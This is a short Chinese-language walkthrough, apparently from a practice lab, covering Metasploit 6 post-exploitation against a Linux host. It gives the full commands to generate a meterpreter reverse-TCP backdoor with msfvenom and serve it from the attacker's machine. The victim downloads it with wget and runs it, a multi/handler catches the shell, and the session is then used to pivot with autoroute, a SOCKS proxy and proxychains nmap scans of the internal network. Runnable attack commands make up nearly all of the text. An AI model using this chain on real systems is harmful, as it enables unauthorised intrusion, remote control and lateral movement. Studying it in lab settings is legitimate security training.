以下步骤msf6以上版本metasploit适用。
实验靶场环境,真实攻击肯定不是这么操作。
获取一个meterpreter
受害者主机为linux主机
- 生成木马文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.58.228.19 LPORT=4444 -f elf > linux_backdoor
-
将木马文件上传到受害者主机
在攻击机上开一个简易web服务:python3 -m http.server 8888
受害者机器远程下载攻击机器上的文件
wget http://10.58.228.19:8888/linux_backdoor
-
msf监听并连接
使用msfconsole
命令启动metasploit,然后依次执行以下命令use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set lhost 10.58.228.19 set lport 4444 run
在受害者主机执行木马文件
chmod 777 linux_backdoor ./linux_backdoor
此时再看攻击机器已经成功获取到meterpreter,执行background
回到msf主控制面板
配置代理
给metasploit的操作设置代理路由(使用proxtychains其实可以不管这个)
msf6 auxiliary(server/socks_proxy) > use post/multi/manage/autoroute
#查看并确定使用哪个session
msf6 post(multi/manage/autoroute) > sessions
msf6 post(multi/manage/autoroute) > set session 1
msf6 post(multi/manage/autoroute) > run
开启一个代理转发端口(这个需要配置)
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvhost 10.58.228.19
msf6 auxiliary(server/socks_proxy) > set version 4a
set session 1
更改 proxychains 配置
vim /etc/proxychains4.conf
#######
#在该文件中添加一行:
socks4 10.58.228.19 1080
使用攻击机扫描内网环境
只用-sT和-Pn都扫不出结果,只能-sT -Pn,原因不明。
但我猜肯定有个原因是proxychains好像只对tcp流量生效,nmap默认会先ping(icmp)一下确认主机存活,所以没有-Pn使nmap不进行icmp存活判断的话,nmap上来就认定this host is down直接就跳过了。
proxychains4 nmap -sT -Pn -sV 10.244.0.79